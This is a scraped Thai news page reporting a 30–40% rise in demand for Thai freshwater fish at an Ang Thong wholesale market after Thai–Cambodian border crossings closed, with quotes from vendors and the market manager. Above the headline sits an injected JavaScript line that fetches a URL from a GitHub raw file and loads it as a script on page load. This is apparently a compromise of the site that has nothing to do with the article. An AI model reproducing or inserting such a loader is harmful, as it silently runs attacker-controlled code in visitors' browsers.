;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); อ่างทอง ความต้องการปลาน้ำจืดไทยพุ่งหลังสู้รบด่านชายแดนไทยกัมพูชาปิด มีความต้องการมากขึ้นกว่าเดิมร้อยละ 30 – 40 - ThaiReference | อาสาไทยยืนยัน
อ่างทอง ความต้องการปลาน้ำจืดไทยพุ่งหลังสู้รบด่านชายแดนไทยกัมพูชาปิด  มีความต้องการมากขึ้นกว่าเดิมร้อยละ 30 – 40 

ผู้สื่อข่าวรายงานที่บริเวณตลาดทรัพย์ทวี  ตำบลตลาดหลวง  อำเภอเมือง  จังหวัดอ่างทอง  ซึ่งเป็นตลาดค้าส่งปลาน้ำจืดใหญ่ที่สุด  พบว่าการซื้อขายยังเปิดให้บริการตามปกติ  ปลาที่นี่จะมีทั้งปลาไทยปลาที่นำเข้าจากกัมพูชา และเมียนมา  ซึ่งปลาที่นำเข้าจากเมียนมา  จะเป็นปลาหลด  และปลาเนื้ออ่อน  ส่วนปลาที่นำเข้าจากกัมพูชา  จะเป็นปลาช่อนแบบเป็นตัว  และแบบแล่  เพื่อใช้สำหรับตากแห้ง  ปลาซิวแก้ว  และปลาหมู

จากการสอบถาม เจ๊นก  นาง วิพา  สาวะ เจ้าของร้านนกลอง ปลาสด  เปิดเผยว่า  ทำธุรกิจค้าปลามากว่า 30 ปี  ช่วงที่มีการสู้รบ และปิดด่านชายแดนไทย – กัมพูชา  ตั้งแต่เดือนกรกฎาคมจนถึงปัจจุบัน  ตนเองต้องปรับตัวในการหาปลามาเสริม  เพื่อไม่ให้กระทบกับลูกค้าประจำ  เดิมเคยนำเข้าปลาจากกัมพูชา  ผ่านด่านอรัญประเทศ  จังหวัดสระแก้ว  ตั้งแต่มีสถานการณ์ชายแดนไทย – กัมพูชา  ต้องเปลี่ยนเส้นทางนำเข้าไปที่อำเภอช่องเม็ก  จังหวัดอุบลราชธานี  ทำให้ต้นทุน  และค่าใช้จ่ายเพิ่มขึ้น  แรก ๆ  ลูกค้าไม่เข้าใจในการปรับขึ้นราคาสินค้า  แต่เมื่ออธิบายจึงทราบเหตุผ

ขณะเดียวกันถ้ามีการแก้ปัญหาด้วยการสั่งซื้อปลาน้ำจืดของไทยนำมาขาย  แต่สิ่งที่เป็นอุปสรรค คือ ปลาน้ำจืดฝั่งไทย ขนาดหรือไซด์ มีให้เลือกน้อย  เมื่อเทียบกับของที่นำเข้าจากกัมพูชา  ลูกค้าที่เป็นร้านอาหารจึงมีข้อท้วงติงมา  เมื่อเทียบต้นทุนแล้ว  พบว่าขณะนี้ราคาสินค้าในไทยไม่ต่างจากกัมพูชา  จึงเลือกใช้ปลาในไทยมากขึ้น

ทางด้าน เจ๊สุก  นาง ทองสุก  กล่ำ ผู้ค้าส่งปลาน้ำจืดที่นำเข้า  เปิดเผยว่า  ความต้องการของลูกค้ายังมีมากเท่าเดิม  แต่ผู้ประกอบการต้องปรับตัวเอง  เนื่องจากต้นทุนนำเข้าสัตว์น้ำจากกัมพูชาเพิ่มขึ้น  เพราะต้องเปลี่ยนเส้นทางการนำเข้า  ลูกค้าบางคนเข้าใจจะเลือกซื้อสินค้าตามปกติ  แต่ลูกค้าบางคนไม่เข้าใจจะลดการซื้อลงเป็นการเฉพาะ  ขณะเดียวกันผู้ประกอบการค้าสินค้าสัตว์น้ำยังต้องปรับตัวเองอีกหลายอย่าง  เพื่อให้ผ่านพ้นภาวะช่วงนี้ไปก่อน

ส่วนทางด้าน นาง สุมามาลย์  สุวพันธุ์ ผู้จัดการตลาดทรัพย์ทวี (ตลาดปลา)  เล่าให้ฟังว่า  จากการสอบถามผู้ค้าสัตว์น้ำ  ทั้งที่นำเข้าและซื้อขาย ในประเทศไทย  พบว่าสัตว์น้ำจืดจำพวกปลาช่อนของไทย  มีความต้องการมากขึ้นกว่าเดิมร้อยละ 30 – 40  เนื่องจากต้องนำมาทดแทนสินค้าจากกัมพูชาที่มีต้นทุนสูงในขณะนี้  จึงเป็นโอกาสของเกษตรกรไทยที่จะมีรายได้เพิ่ม  ผู้ค้าบางคนให้ข้อมูลว่า  ตระเวนหาซื้อปลาช่อน  เพื่อนำมาทดแทนปลานำเข้าจากกัมพูชาในพื้นที่ภาคกลาง  จะต้องวางเงินมัดจำก่อน  เพื่อเป็นการการันตีว่าจะซื้อสินค้า  จากเดิมที่พูดคุยตกลง  จับปลาแล้วถึงจะจ่ายเงิน  ที่สำคัญตอนนี้  สินค้าในไทยก็เริ่มหายาก  เพราะสัตว์น้ำโตไม่ทัน

https://www.tiktok.com/@chaijexu/video/7583297731855142165?is_from_webapp=1&sender_device=pc&web_id=7551579084104238610

กนกศักดิ์  แสงตระการ / อ่างทอง